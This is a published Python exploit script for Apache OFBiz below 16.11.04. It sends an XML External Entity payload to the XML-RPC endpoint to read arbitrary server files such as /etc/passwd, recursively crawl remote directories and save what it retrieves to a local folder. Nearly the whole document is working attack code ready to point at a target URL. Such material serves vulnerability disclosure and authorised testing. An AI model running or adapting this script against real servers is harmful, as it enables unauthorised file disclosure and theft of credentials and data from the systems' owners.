Apache OFBiz 16.11.04 – XML External Entity Injection
# Exploit Title: Apache OFBiz 16.11.04 - XML External Entity Injection # Date: 2018-10-15 # Exploit Author: Jamie Parfet # Vendor Homepage: https://ofbiz.apache.org/ # Software Link: https://archive.apache.org/dist/ofbiz/ # Version: < 16.11.04 # Tested on: Ubuntu 18.04.1 # CVE: N/A #!/usr/bin/env python3 # ***************************************************** # Type: XML External Entity Injection (File disclosure) # Target: Apache OFBiz < 16.11.04 # Author: Jamie Parfet # ***************************************************** import sys import os import requests import urllib3 import re import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) simple_payload = """<?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://{}">]> <methodCall><methodName>xXx &disclose;xXx</methodName></methodCall> """ if len(sys.argv) <= 1: print('[*] Apache OFBiz < 16.11.04 XXE') print('[*] Use "%s -h" to display help.' % (sys.argv[0])) exit(0) parser = argparse.ArgumentParser() parser.add_argument("-u", metavar="https://localhost:8443", dest="url", required=True, help="Target URL (required)", action='store') parser.add_argument("-f", metavar="/etc/passwd", dest="file", help="Target file", action='store') parser.add_argument("-c", metavar="/home/", dest="crawl", help="Target directory to start crawling from", action='store') parser.add_argument("-o", metavar="~/local/output/directory/", dest="output_dir", help="Local directory that remote file will be saved to", action='store') args = parser.parse_args() url = args.url if args.url else None target_file = args.file if args.file else None crawl_dir = args.crawl if args.crawl else None output_dir = args.output_dir if args.output_dir else None def check_url(url): if '://' not in url: print('[-] ERROR: Please include protocol in URL, such as https://{}'.format(url)) exit(0) else: return url def request(url, payload): response = requests.post(url + '/webtools/control/xmlrpc', data=payload, verify=False).text parsed_response = re.sub(r'(.*xXx\n|xXx.*)', '', response) return parsed_response def crawl(crawl_dir): payload = simple_payload.format(crawl_dir) response = request(url, payload) payload_404 = simple_payload.format(crawl_dir + "/xX404Xx") response_404 = request(url, payload_404) if 'No such file or directory' in response: print("[-] ERROR - 404: {}".format(crawl_dir)) elif 'Permission denied' in response or 'but is not accessible' in response: print("[-] ERROR - Permission: {}".format(crawl_dir)) elif 'Not a directory' in response_404: print("[*] FILE: {}".format(crawl_dir)) else: print("[*] DIR: {}".format(crawl_dir)) for f in response.splitlines(): full_path = (crawl_dir + '/' + f) crawl(full_path) def main(url=url, target_file=target_file, crawl_dir=crawl_dir, output_dir=output_dir): if url: check_url(url) if crawl_dir: crawl(crawl_dir) else: payload = simple_payload.format(target_file) if output_dir: if os.path.isdir(output_dir): result = request(url, payload) remote_file_name = re.sub('/', '--', target_file) output_file = (output_dir + '/' + remote_file_name[2:]) file = open(output_file, 'w') file.write(result) file.close() else: print("[-] ERROR: {} is not a writeable directory".format(output_dir)) else: result = request(url, payload) print(result) if __name__ == '__main__': try: main() except KeyboardInterrupt: print('\nKeyboard interrupt detected.') print('Exiting...') exit(0) |